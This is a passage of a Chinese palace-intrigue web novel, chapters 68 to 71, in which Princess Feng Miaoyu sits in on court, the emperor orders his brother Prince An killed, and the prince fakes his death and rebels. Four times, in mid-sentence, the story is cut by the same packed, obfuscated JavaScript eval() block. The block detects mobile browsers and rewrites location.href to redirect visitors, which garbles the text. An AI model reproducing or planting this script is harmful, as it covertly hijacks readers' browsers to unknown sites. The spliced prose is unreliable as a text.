谢随愣了愣,随即故作轻松地说:“公事上面倒也还好,门下省的诸位大人很照顾我。夏天天热,难免吃的少些,人自然要比冬天的时候瘦。” “路安这几天带着阿玉回临江祭祖了,我让他们顺路去我们在临江的宅子里收拾收拾,添置点东西,毕竟好几个月没住人了,”谢随在她身后轻轻说,“最近京中不是很太平,过些日子我们再去临江住上一阵可好?听说临江秋天的红叶很漂亮。” “不太平……那些传闻你也听到了?”冯妙瑜渐渐已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15097717|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有了困意,迷迷糊糊地应道:“不过是几个疯道士说胡话而已,什么‘梦见南方出现了一条真龙一口吞掉了北方的假龙’的。每年总有些妖言惑众,满口胡话的人。这事你不用担心。那几个疯道士已经统统拉去大理寺处以绞刑了。” “你难道不想回临江?”谢随抿了抿嘴问。 “可是我们才刚从临江回来没多久,不到半年,”冯妙瑜嘟囔着,“再说了,最近正是忙的时候,我明天早上还得早起入宫,陪父皇早朝,然后还要见几位大臣……” 她的声音越来越小了。 谢随沉默了一会,轻声道:“妙瑜?” 没人应他。 谢随轻轻支起身子,身侧的冯妙瑜果然已经阖着眼睛睡着了。细细长长的睫毛乖巧地垂着,月光透过淡蓝纱帐洒在她的侧脸上。有点孩子气,又有点瓷器般的冰冷质感。谢随垂眸静静地看着她,她不愿意去临江。这可怎么是好?他幽幽地叹气,手指一下一下地梳理着她的长发,动作轻柔像是小心梳理羽毛的鸟儿,也不知道冯重明这段时间是抽什么风,大事小事总是要把冯妙瑜带在身边。继续留在盛京的话,她几乎是无可避免的会牵扯到接下来的风暴当中……这是他所不愿的。 谢随闭了闭眼,忍不住又轻轻叹了口气。 不过,好在他还有时间想办法说服她。 —— “回禀陛下,这是那几名疯道的供词。” 紫宸殿内,年过六旬的大理寺寺卿大人上前将供词呈上,又拱手退回到了坐上。 冯重明低头翻看那几份供词,冯妙瑜抬手借着理发簪时衣袖的遮挡大大地打了个哈欠,从寅时入宫听朝,到辰时早朝结束单独会见大臣,三个多时辰,她瞟了眼依旧神采奕奕的大理寺寺卿大人,真不知道这些人哪来这么大精神……她眼角余光又扫到手边支着本书偷偷打盹的冯敬文,她是因为谁才不得不早起听朝的,冯妙瑜瞪他一眼,毫不客气抬肘在他胳膊上狠狠一顶。 这一招百试不爽。 冯敬文立马睡眼惺忪地坐直了。 “看来这些人真的认为上天托梦给他们,朕是假天子,而真正的天子在南方?”冯重明冷笑两声,把供词扔到桌上,问大理寺寺卿,“南方,好一个南方出真龙,你怎么看他们所说的这个南方?” 68. 68 “依微臣所见,几个满口胡言的疯汉的话怎么能当真?他们连眼前的是真狮子还是石狮子都分不清楚。” 大理寺寺卿尤大人摸了摸胡子,面上波澜不惊。 “如果非要说南方的话。在我大梁十五道中,光是带有‘南’字的就有河南、淮南、山南、剑南、江南,”他偷偷看了眼冯重明的脸色,压低了声音,“还有岭南六道。当然,这个南方也不一定是指陆地上,极有可能说的是南海——” 南海里当然有龙。还是龙王呢。 “这老鬼光拿俸禄不干事,一天到晚净胡扯。”冯敬文在底下翻个白眼,偷偷嘀咕。 冯妙瑜嘴角抽了抽,想笑,但眼下显然不是能笑的场合。出于长姐的威严,她又狠狠瞪他一眼,以示警告。 紫宸殿是帝王半个起居之所,能被宣诏入紫宸殿议事的个个都是老狐狸中的老狐狸精,精明得很。而这位大理寺寺卿尤大人更是其中翘楚。此人是两朝元老,原先就颇得先皇宠幸,还做过原太子冯重曜的老师,不折不扣的原太子党。冯重明夺位后大肆捕杀原太子党,谢家、许家……杀的杀,流放的流放。而此人不但没有遭到贬斥,反而官运亨通,一路升官加爵官至大理寺寺卿。这老狐狸的油滑由此可见一斑。 在座除了一个冯敬文,大家心里都清楚帝王最忌讳的就是‘谋反’二字。毕竟这人就是越缺什么便越在意什么,冯重明这位子来路不正,岭南那位安王一直他心头的一根刺,昔日若不是太后以死相护,他是断断不会放虎归山,留兄长一条生路的。 冯重明伸出手指叩了叩桌面,垂眼淡淡扫了眼冯敬文。 站在帝王身侧的刘公公立马会意。太子年幼怯弱,上次帝王不过是当着他的面下令杖杀了个不长眼的太监,他就吓得病了好几日。处置安王这事情皇上怕是不好当着太子的面说的。 刘公公就咳嗽两声,眯着眼睛弓腰拱手笑道:“皇上,诸位大人,还容奴才插一句嘴。这会已经到太子殿下回东宫读书的时辰了。” 冯敬文松了口气起身,冯妙瑜也跟着起身准备告退,毕竟她名义上是陪太子来旁听的,太子离开,她当然也要该跟着离开。冯敬文回去读书,而她回府睡回笼觉。 心情好极了。 谁知道冯重明却冲着冯妙瑜招招手,“太子回去,永乐留下来。” 冯妙瑜的后脚离紫宸殿门槛只有半步之遥,只能不情不愿地收回来,又走回去坐好。 隔扇门开了又关上,在座的几位大人神色各异,不过这是冯重明的意思,也没人敢说什么。 “依朕看,那几个道士口中所说的‘真龙’,怕不是指安王?”冯敬文离开后,冯重明也没了顾忌,“他和朕是同母兄弟,以前还做过太子,又身在岭南。你们看,这完全对得上嘛。那些疯道士说的话倒不全是疯话。” 殿内一片心照不宣的沉默。 “您的意思是这几个疯道士背后有人操纵?那微臣这就下去命人追查。争取早日查明幕后之人。”尤大人硬着头皮说。 “下去追查?”冯重明把手串扔到桌上,人靠在椅背上,笑了,“他这个人一向是不安分的,只怕等你下去查出来,叛军的刀都已经架在朕脖颈上了。” 帝王单手撑着头扫视一圈,眼中杀机涌动,就差没有把心里话说出来了——杀了安王。防患于未然。 十九年前没有除掉的那根刺,眼下除掉,也不算迟。 “陛下是仁慈之君。当年您念及手足之情留安王一命,还赐予他封地,让他安度晚年。没想到他竟这般冥顽不灵,白白浪费陛下一片苦心。卑职愿为陛下分忧。肝脑涂地,在所不辞。” 事已至此,在座唯一一位武官,南安侯立刻起身抱拳。掷地有声。 底下的几位文官大佬动动眉毛胡子,很快交换了个眼神,放松了许多。杀人放火,太好了。拿刀子的事情,和他们这些只会挥挥毛笔的文官又有什么关系。只是这该表的态还是要表示的。 “陛下圣明,目光如炬。” “安王辜负陛下良苦用心,意图谋反,其心当诛。” 于是几人也站起来,纷纷捶胸顿足,谦虚地表示自己等鼠目寸光,竟然没有看出安王狼子野心,又摩拳擦掌,表示自己等与叛贼安王不共戴天,恨不得冲上去亲自和安王搏斗的决心。 冯妙瑜倒是一点也没动,老神在在低头喝着她的茶。浅绿色茶汤上浮着两朵茉莉花,里面还额外加了蜂蜜和冰块,清甜可口。 反正她也只是个旁听的,和安王一事越少牵扯越好。 “你们的心思朕都明白,都坐下吧,”冯重明又叹了口气,“但那安王毕竟是朕的手足兄弟。朕这心里不忍啊。手足相残,只怕朕百年之后也难免会被天下人所诟病,背上千古骂名。” 冯妙瑜在底下偷偷撇了撇嘴。不忍心只怕是其次的,主要是不希望背上弑兄的骂名。她偏头看到冯重明淡笑着的侧脸,手指忽然哆嗦了一下,茶水微微泛起涟漪。 “这事要怪也是怪安王殿下自己犯禁,”底下有人摇头说,“您是被逼无奈,又有谁会怪罪于您呢。” “既然这样,这件事就由南安侯去办吧,其余几位大人从旁协助,”冯重明说着,又从桌上抽出一本奏折递给南安侯,“这是前几天你儿子递上来的折子。说是要请朕赐婚给他。自古婚姻大事,都是要听父母的,朕就想问问你的意思。” 南安侯的脸色当即就沉下来了。 “是卑职教子无方,犬子竟为了这点小事上奏折……卑职回去定会好好教育犬子。” 冯重明摇摇手指,“朕倒不是要责备你的意思。你儿子在西境立了大功,他上书向朕讨赏,朕也不能装作没有看到。你回去也好好想想,蛮族女子,做世子的正妃是不合适,但他若是喜欢的紧,给个她侧妃也做做,也不是不行的。” “是。”南安侯垂首应诺。 冯重明便挥手让刘公公送几人出去了。 冯妙瑜也放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15100881|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下茶盏起身准备告退,冯重明却突然叫住她,他叹了口气。 “狸娘,你是不是也觉得朕是个冷血无情之人?” 冯妙瑜沉默着,没有接话。 “如果朕不杀了你们皇叔,他就会来杀了朕。这些年他虽然不声不响的,好像无欲无求了,但朕心里清楚,他没有一天不想回到这里,坐在朕的位子上。他恨朕啊。”冯重明说,“敬文那性子也不知道是像了谁,太过软弱。在这点上他远不及你……日后在这方面上你要多多辅佐他才是。如果有必要,越过他行事也无妨。就他那个性子,光靠他自己什么都守不住。” “合着在您眼里,我就是那等能笑着手刃父兄的冷血无情之人了。”冯妙瑜在心里冷冷想着,她该把这话说出来狠狠扎他一下的,冯重明却又不住地咳嗽起来,咳嗽声越来越重。 冯妙瑜迟疑了一下,话到嘴边还是没有说出口。她淡淡地点了个头告退了。 —— 岭南之地多水,水网密布,河道纵横成巷,船只间以铁索相系,宛若一座水上浮城。柳叶般的渔船,小货船,花船……晨光熹微,商贩们不绝于耳的叫卖讨价还价声音里,一艘昨晚才停泊在港口的云纹广船缓缓起锚,向北驶去。 这船瞧着不过是艘普通商船,船舱内却布置的异常奢华。小叶紫檀的雕花家什擦得光亮。一架如意八宝的酸枝木木雕大屏风下面,一个穿深蓝罗衫的中年男子闭目靠在椅背上,屋里还有三五个十四五岁的小丫鬟,一个跪在地上给他捶腿,一个在后面捏肩,一个端茶递水,剩下两个在角落里,一个弹琴一个唱曲儿。男子翘着腿,脚指上挂着一只黑漆谢公屐,随着婉转的曲调一晃一晃。 “大人。”一个葛衣随从掀帘进来,抱拳笑道,“您真是神了。” “哦?” 冯重曜懒懒抬眼,眼角堆起几道细纹,鬓发微白,亦能看出几分年轻时的姿貌,他挥手叫那几个小丫鬟先下去。 “和大人所料的一点也不差。那位果然派了人来暗杀您。我按照您的吩咐,找了和您身形相近的男子换上您的衣裳,又把他推到了火里……那位见了尸首果然上了当,以为您死了。” “已经下葬了?” “是,眼下所有人都以为您已经死了。” 冯重曜看着窗外波光粼粼的水面轻柔地笑笑。 “那就不必遮遮掩掩的了。把我的旗号打出去吧,好让大家都知道我回来了……也好给我的皇弟一个惊喜。” 那随从便抱拳出去了。 屏风后边有人说:“他好像还真当你料事如神了。” “这样不好吗,我是天子,在他们眼里自然应该无所不知,无所不晓。”冯重曜说。 “那个给你提供情报的姑娘你打算怎么处理?可要我的人动手除去她?” “这么着急做什么。”冯重曜说,“她我还有别的用处。不需要你的人出手,不用管她。与其大费周章杀她,她会亲手把自己送上绝路的。” 69. 69 细雨纷纷。 伞下苍白修长的手抬起,手指蜷缩,又慢慢放下。循环往复,周而复始。 谢随深深吸气,不知道站在门口犹豫了多久,他终于下定决心抓起斑驳生锈的旧锁晃了晃。一手斑驳的红锈。他摸出钥匙小心地转动,这么多年过去,锁生锈了,好在里面的锁芯并没有生锈。 ‘咔’的一声,旧锁应声弹开。 厚重的青苔覆在门上编制成稀稀疏疏的毯,那道老门似乎还有些变形,谢随手上用了劲才推开了门,灰尘扑扑簌簌落下,两只在门后躲雨的喜鹊受了惊吓,扑掕着翅膀贴着他的头顶窜出。 昔年谢家流放离开京后这间位于道政坊的老宅便易手他人,挂牌待售。大概是觉得不吉利吧,这些年这间宅子一直无人问津,就连房主一家都已经搬离盛京多年,谢随私底下花了好些功夫才打听到房主的下落,从他手里买回了谢家老宅。 影壁斑驳难看,后面那座曾令祖父十分得意的小庭院如今早已荒芜,足有人脚踝高的杂草侵占了这片土地,触须似的嫩芽四处蔓延,地上,墙上,窗子上,甚至是屋顶上。宅院原来的样子几乎被植物腐蚀到看不出来了。 谢随顺着记忆慢慢扫开杂草往里走。 想来房主在买下谢家的旧宅后就再没有来过了。大门上的锁是完好的,屋内的门窗却全部大敞着,碎掉的窗格,满是灰尘的地上散落着发霉发黑的果子和烧火的焦痕。久无人居的宅院,哪里还有比这里更适合无处可去的乞索人过夜的地方?他们可不是那种彬彬有礼,从不空手而来的客人。在这里过了夜,第二天一早便把能搬走的东西全部搬走换钱买酒了,不能搬走的就随手砸了扔在地上,满地狼藉。 走了许久,谢随才找到一处勉强能坐下的地方。只剩下三条腿的椅子吱吱呀呀地响着,风尖啸着从破碎的窗子外钻进来,谢随对着窗子,那窗子下面原来应该放着一张书案的,窗子外正对一颗西府海棠,每年新春花团锦簇,他在桌前写祖父布置的功课,粉白的花瓣落在砚台里,似乎连墨汁都带着淡淡的甜香。 记忆中的那颗海棠树无人照料早已枯萎,至于书案,大抵是被人劈开用作柴火取暖了吧,他淡而细长的影子投在熏黑斑驳的旧墙上,雨水和微光从破了洞的屋顶漏下来,带着湿漉漉新鲜的苦味。少小离家时尚且不明白的愁滋味,如今一拥而上,堵在心里,五味杂陈。 —— “给我看看你都许了什么愿?”阿蛮踮起脚尖,伸长了脖子,像一只舒展身体的丹顶鹤。 “这可不行,这东西看了可就不灵验了。”冯妙瑜笑笑,赶紧把许愿用的笺纸摁在胸口,不让她看。 两人并肩沿着白龙寺湿滑的石阶往下走,雨已经停了,风吹起两人衣袂同时,又时不时从两旁浓绿的树叶上抚下一两滴残雨。这场雨来的突然,两人刚刚骑完马出来天色就变了,大片的乌云聚集,左不过周边也没有其他躲雨的好去处,两人便进了白龙寺,顺路过来许了愿。 “我知道了,”阿蛮学着冯妙瑜的样子对着面前渡了金的佛像拜了三拜,置气似的,当着冯妙瑜的面展开笺纸投入许愿箱中,“你肯定是只顾着许愿你和夫君那些事情,没有为我们的友情许半个字的愿,所以不好意思让我看到……我可是把你当好朋友看,许愿也许的是友谊长青。” “谁说我只许了一个愿?”冯妙瑜摇摇头,笑道:“你刚刚没仔细看,我可是拿了两张空白笺纸。” “啊,妙瑜你耍赖!许愿这种东西,怎么还能许两个愿的!”阿蛮说。 “又没人规定说一个人许愿一次只能许一个。” “那我只许了一个愿,岂不是吃亏了。”阿蛮懊悔的往回看了一眼,扯着冯妙瑜的衣袖,“早知道这样,我就许它十个八个……一百个愿了!妙瑜,我们再回去重新来一次!” “一百个也太多了点吧?要是人人都许一百个愿,那天上的神仙还不得给忙死了。”冯妙瑜笑着说。 出了寺门,两人正说说笑笑往马场走,临近的巷道突然冲过来一个戴宽边斗笠的车夫,斗笠压得很低,他像是没看到前面的有人似的狠狠地撞在阿蛮侧肩上。撞了人,那车夫也不说声对不住,抬手摁着斗笠就大步走开了。 “这都是什么人哪,撞了人就走,也不知道说一声的……” 陪着阿蛮出来的侍女冲着那人的背影抱怨道,冯妙瑜见阿蛮脸色不是很好,问道:“你没事吧?” “没事,只是轻轻撞了一下而已。” 阿蛮摇了摇头,左肩微微发麻,她勉强勾唇冲冯妙瑜笑了笑,藏在袖中的左手攥紧,将那人趁机递过来的荷包用力地捏在手心。 —— “姑爷。您瞧,那边那位穿淡青衣裳的夫人,好像是长公主殿下。”小厮从马车后面搬来了脚凳,眼角余光扫过街角,惊讶道。 “你看错了吧。”谢随淡淡地说。 他记得冯妙瑜今天并没什么事情要出门。她这个人平日就跟家里的那几只狸奴一样,懒洋洋的,没事的时候向来是宁愿窝在府里也不愿意出门的,何况眼下的天气还是这样的闷热烦人。更不可能没事出门瞎逛。 谢随一只脚踩上脚凳,但还是扭头往那小厮所指的方向瞟了一眼——他又仔细看了一眼,倒还真是冯妙瑜! 这倒奇怪了。 不过她好像不是一个人出来的,除了簇拥在周围的丫鬟婆子,她旁边似乎还有一个女子,两人挽着手臂,看着不大像赵氏。只是不是赵氏还能是哪家的夫人……待看清了人脸,谢随脸上的笑容忽而僵住了。 怎么是她……她们两人的关系什么时候变得这样要好了? 这边谢随回首看见了冯妙瑜,街巷那头的冯妙瑜抬头也瞧见了谢随。 去南安侯府与去长公主府正好是同路,冯妙瑜和阿蛮来时乘坐的马车还停在马场门口,要走好一段路才能过去。雨停后太阳渐渐出来了,大家都不愿意在大太阳底下多走,就说差人去马场门口说一声,几人直接坐谢随的马车回去好了。 侍女扶着冯妙瑜先上了马车,阿蛮抬步正欲跟着冯妙瑜上车,却被谢随眼疾手快伸出手臂拦住了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114308|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “夫人,您该不会介意退让一步,让我们夫妻坐在一起吧?”谢随轻声说。 “瞧你那眼神,好像我会把她吃了一样,”阿蛮撇了撇嘴,斜眼撇谢随一眼。她眼睛上搽了一周毛茸茸的粉,可那眼角在偏头睨人时依旧清冽锋利,像是一把刀子剜在人身上,“你不会以为任谁都像你一样卑鄙吧?” “随你怎么说……胜者为王。”谢随笑笑,抢在阿蛮前面弯腰上了马车。 “你以为你什么都知道吗?” 阿蛮望着谢随的背影,用只有自己能听到的声音轻轻说,“你忠心的那个人,他心里其实谁都不相信的吧。” —— 冯妙瑜也没想到会在这里碰到谢随。 车内安静极了。她低着头转手里的茶杯玩,能感觉到车内的另外两个人,尤其是谢随的视线,几乎就没从她身上移开过。 谢随前面才提醒她不要和阿蛮走的太近,结果转眼就被他撞见她和阿蛮亲亲热热走在街上,冯妙瑜有种被抓包的尴尬感。但是细细想想,这又有什么,两个人都是女子,她爱和谁在街上挽手并肩呢。他凭什么和她置气。 想到这里冯妙瑜理也直了,气也壮了,隔着谢随和一旁的阿蛮聊起来,只当中间这是个长了眼睛的柱子。 马车先到南安侯府送了阿蛮,车厢里只剩下冯妙瑜和谢随两人,冯妙瑜本以为谢随会指摘她两句,可他却什么都没说,还给她倒了茶。 古怪极了。 正是因为这种反常,冯妙瑜反而越发不安了。 他难道就因为这点事情生气了?见过吃醋的,头回见吃一个女子的醋的! 下了马车,冯妙瑜正想着要不要回屋后和他勉强服个软,哄两句,抬眼便见一个太监打扮的人正等在门口。 “公主,驸马,”他向两人行了礼,转头看向冯妙瑜,“陛下诏您入宫觐见。” “你等我换身衣裳就去。”冯妙瑜说。她方才在马场骑了大半日的马,衣摆上全是沙子,仪容不整,如何面圣。 “怕是没有这个功夫了。陛下的意思是请您即刻入宫。公主,请上车吧。”小太监只是一味的催促。 “究竟是出什么事了,能否请小公公稍稍提点一句?”谢随意识到了几分不对,挥手叫其他人退下,时间匆忙来不及准备,他随手从荷包摸了两块银子塞到小太监手里,“一点茶果钱,公公不要客气。” “具体是什么事,哪里是我一个做奴才的能知道的?”小太监说,刘公公可是下了封口令的,他不敢明说,“驸马爷今日休沐?奴才只能说一句,您这会就去换了官服等着最好。说不好一会就有人叫您上衙门了。” 冯妙瑜只好跟着小太监又上了马车入宫,马车停在延禧门外,冯妙瑜刚从马车上下来,就见一个人在宫门处着急地转圈——竟然是刘公公。 看见冯妙瑜,刘公公大步迎上来。 “公主,您可算是来了。假传圣意,奴才罪该万死。可奴才实在也没有其他的办法了,这宫里必须得有个能拍板做主的人才行啊……” 70. 70 “郑姑姑好。” 日光和煦,不过是个普通的不能再普通的午后。一路上,不断有小宫女太监停步向郑姑姑躬身问好,今日郑姑姑却连头都来不及点一下,脚下如飞,几乎是以违反宫规的边缘的速度一头扎进了凤仪宫。 “皇后娘娘,出事了!”郑姑姑急切道。 “能出什么事。还能是这天塌了不成?” 张蓁冷笑,只淡淡回头撇她一眼,面上没什么表情,不喜不悲,继续转身去逗弄那金笼里的雀儿。自从安王府大火,安王意外身亡的消息传来后,她就一直是这样漠然的姿态,好像世间再没有什么事情能勾起她的兴致。虽活着,却只是一具披着华服的空壳子,和死了也没多大差别。 “丰都和岭南失守了。奴婢方才听人说一北一南两路叛军,北边领头的是原丰都防御使曾义,这会叛军已经到鄜州城下……”鄜坊以南不过百里便是盛京,鄜州一旦失守,后果不堪设想。 “所以?这和本宫又有什么关系。本宫又不会行军打仗。”张蓁依旧一副事不关己的无谓模样。 “娘娘您听奴婢慢慢说。南边岭南那支叛军如今已经打到了江陵城下,离盛京也只差一步之远……奴婢听说,这两支叛军打的都是安王殿下的旗号——” “安王殿下没有死,他来找您了。”郑姑姑激动道。 张蓁逗弄雀儿的手微微一顿。 “没有死?不是说人都烧的看不出样子了吗,怎么可能。” “外面都在传,说安王殿下就像东晋时会稽郡的贺彦琚一样,是‘还阳’回来的。”郑姑姑压低了声音,“但奴婢听说安王殿下其实根本没有死,真正烧死的是个穿了他衣裳的宫人,一个替死鬼。安王殿下似乎早有准备。” “你胡说!” 细细碎碎的鸟食洒了一地。 “他不是那样的人。那些叛军也许只是借着他的名号行事罢了!”张蓁突然心烦意乱起来,记忆中那个人分明是那般温和宽仁,爱民胜过爱自己发肤手足的人,怎么可能让一路从盛京追随他去岭南的仆下替他去死,甚至挑起战争眼睁睁看着生灵涂炭。 “娘娘,已经过去快二十年了。”郑姑姑轻轻说。 一朝跌落神坛,忍辱负重这么多年,那个人早就变了吧。郑姑姑表情复杂地看着张蓁,今日打听到的消息远不止这些,她知道那个人在张蓁的心里的地位,所以有些事情她都不敢和张蓁提起,比如玄州之事。 因玄州刺史率百姓誓死不降,冯重曜不但围城切断城中粮草供给,还命手下将人畜尸体投入河中污染水源。断水断粮,不出五日,玄州城内饿殍满地,听说玄州百姓的哀嚎声方圆百里都能听得一清二楚,哀鸿遍野。而冯重曜就带着众将士在离玄州城门不到十里的地方扎营,成日烹鱼煮羊,饮酒作乐。 —— “有玄州的前车之鉴,一听江陵太守不愿开门降城,江陵城数百暴民竟公然持械强行闯入衙门,劫持了太守一家,逼迫守城官兵打开城门迎接叛军入城,您看这些暴民要如何处置?” “这些事情都可以放放,”冯妙瑜敲敲桌子打断刘公公的话,伸出两根手指,“眼下最要紧的只有两件事,一是要查清楚到底是谁走漏了暗杀安王的消息,找出内鬼。二是抓紧时间在盛京布防。” “安王的事情是私底下办的,知情的人不多,只有那日在紫宸殿的几位大人,然后就是奴才了。不过那几位大人都是肱骨之臣,恐怕不是那么好查的,一个不好,只怕会动摇人心。”刘公公想了想,说。 “这个时候当然不好明着查。既然如此,倒不妨这样,”冯妙瑜招手叫刘公公靠近,对他低声说了两句,“……把消息泄露给安王那人肯定不会放过这个。如此一来,究竟是哪一位或者说是哪几位大人和安王串通便清楚了。” “这个主意好,那奴才下去就着人传旨给各位大人。”刘公公眼前一亮,随即话锋一转,又说起了布防的事情,“京畿地区有十万大军,叛军不一定能攻下邠州或是金州。再说除了邠州和金州,盛京周边还有凤翔府、河中、河南、金商都等在旁拱卫,这个时候就在盛京布防,是不是有些太早了?” “只是以防万一,有准备总比没有准备得好。”冯妙瑜说,“刘公公,你即日起便带人去盛京各处细细检查城墙是否牢固、清点粮仓中的粮草等,要保证即使被大军围困在城内,我们也能坚持上几个月等到援军过来。安王的人既然能渗透到朝中,想来他在盛京城中也偷偷安排了不少人手。宫里的太监这么多,左不过是做些端茶倒水的小事,其实也用不着这么多人。你派几个宫里能信得过的公公日夜守在城门、粮仓等要紧处,有异动第一时间往宫里报,绝不能让安王的人有机可乘。” “既然您坚持,那奴才下去就着手挑选人手……” 说话间,太医院院令贾济大人颤颤巍巍从内室走出来了,一面走一面还拿着帕子不住地抹汗。见他出来,刘公公立刻合上嘴巴,不再往下说了。 “父皇怎么样了?”冯妙瑜抿了抿嘴问。 “眼下陛下龙体已无大碍,只是积劳成疾,加之一时惊吓过度才会突然昏厥过去。这会皇上还有些迷糊,再睡一会人清醒过来就好了。”贾太医拱手道:“只是……” 贾太医很快看了冯妙瑜和刘公公一眼,“只是这日后得好好休养,绝对不能再像这样操劳忧心了。” 冯妙瑜沉默了一会,又淡淡地问:“那太后娘娘呢?” 贾太医摇了摇头。 “剪子没入胸口一寸有余,太后娘娘都这个年纪的人了,公主,请恕微臣说句不恰当的话——这样的伤势,就是神仙来了都救不了了。” 贾太医下去开药了。 冯妙瑜走进内室,浓红的夕阳从隔扇窗流下来,里面只有两三个医女低垂着头在收拾东西。冯重明躺在龙榻上,眼睛紧紧闭着,一时半会也不像是能醒过来的样子。冯妙瑜轻声对几个医女交代了两句,便退出了内室。 “父皇和太后娘娘是怎么回事?” 冯妙瑜低声拉着刘公公询问。太后从去年起便久久缠绵于病榻之上,按来说身体应该十分虚弱,这样的人哪里来的力气把剪子扎进自己的心口。 刘公公揣着手,犹豫不决好久才开口。 “奴才也不清楚具体的情况。今天得知安王谋反的消息后,皇上就命人把太后娘娘接回宫了。下午的时候,皇上和太后单独说了会话,奴才等都在外面守着,不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122728|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇上和太后娘娘说了什么。皇上前脚刚刚走出来没多久,后脚奴才就听到这人摔在地上的声音。只怕是太后娘娘在皇上出去后自己抄起剪子……”刘公公摇摇头,攥拳做了个往心口扎的动作。 “太后娘娘是真的很爱安王吧……”冯妙瑜叹了口气,轻轻说。 这个时候接太后回宫,父皇摆明了是要用太后的性命来牵制安王。太后和安王两人母子情深,当年就是太后以死相逼才逼得父皇留住安王一条性命。可以说,只要太后还在盛京在宫中或者一日,冯重曜就不敢真的放手破了盛京城。太后大抵是想明白这一点,所以才会以这样惨烈的方式自刎。为了给一个孩子铺路,当着自己另外一个孩子的面死去。平心而论,冯妙瑜对这位太后娘娘没有分毫好感,但此时也不禁有些感慨。 想来偏爱这东西可真是可怕。 “谁说不是呢……公主,这话您在奴才跟前说说就是,可不能当着皇上的面说啊。”刘公公叮嘱道。 —— “玄州的事情是怎么回事?” 谢随深深地吸了一口气,平复了一下心情,但他的声音里仍带着几分颤抖。 正如那个来叫冯妙瑜的小公公所言,他日暮时果然被上司喊去衙门。他是去了后才知道了冯重曜的事情,这才刚刚从衙门出来,顾不上疲惫,就直奔开明坊的博古斋。 “玄州这件事情,明明能用更好的办法解决,”谢随背着手在屋子走来走去,语速急促,“大人为什么不告诉我,非要用如此伤天害理的法子?整整七万人的性命啊。就为了杀鸡儆猴?天下之人爱戴其君,比之如父,拟之如天,玄州城那七万人难道就不是他的子民了?大人是仁君,怎么会做这样的事情出来!”① 外头的夜已经很深了。漆黑的天幕上连一颗星子都看不见。 谢随一口气说了很多,说到嗓子都有些嘶哑了。夏宵默默地给他倒了杯茶,“先坐下来喝口茶吧。” “这件事情其实我早些日子就有所察觉,但因为只是我自己的猜测,所以一直没有和你说。”夏宵耷拉着脸,“大概几个月前,从各地送到我这里来的情报就变少了,我开始也没有怀疑什么,直到今天——” “安之,”夏宵坐直了身子,难得正经,“如果非要说一个具体时间的话,大概就是你向大人说起你和公主的事情,请大人放过公主之后。” 顿了顿,夏宵接着道:“大概是因为公主的缘故,大人似乎觉得你变得不可信任了,眼下有许多事情都是瞒着你我的。” 谢随愣了一下。 “你的意思不会是?” “我就是你想的那个意思。”夏宵点了点头,劝道:“这世上还有那么多人,你没有必要在一颗树上吊死。我听说大人之前似乎有意撮合你和他的义女……你该能分清楚的,大人的义女和公主,就算大人最后被你说服了留公主一命,还让她留在盛京,可到那时候她除了一条性命就什么都没有了。不但没有办法帮到你,甚至还会是你仕途上拖累。安之,现在改变主意还来得及。” 谢随转了转杯子,冯妙瑜在发呆的时候就常做这个动作。过了许久,他才道:“大人什么时候来盛京,这件事我会和大人当面再好好谈谈的。” 71. 71 这年的秋天来得突然。 立秋前白天还是暑日炙人,从早上到傍晚连一丝风都没有,谁知到了晚上却忽然狂风大作。大风摧枯拉朽般吹断了城内不少树木,断木压倒房屋,茅草乱飞,流年不利。好在并没有人因此受伤。而城外,叛军亦乘破风而上,势如破竹,两路大军分别从一南一北不断向盛京推进,插着雉羽的战报落叶似的从四面八方飞进宫中。尽管局势不容乐观,但京畿地区的驻军装备精良,训练有素,绝非地方军队可比——盛京上到官员下到平民百姓生活照旧,该上衙门点卯的上衙门,该出门做生意的做生意,街头巷尾热闹依旧,歌女依旧没日没夜地唱着《春光好》,丝毫没有兵临城下的紧迫感。 更何况到了润六月廿三,前线传来捷报。凤翔府伊下令出兵邠州,与邠州驻军两面夹击,大败叛军。 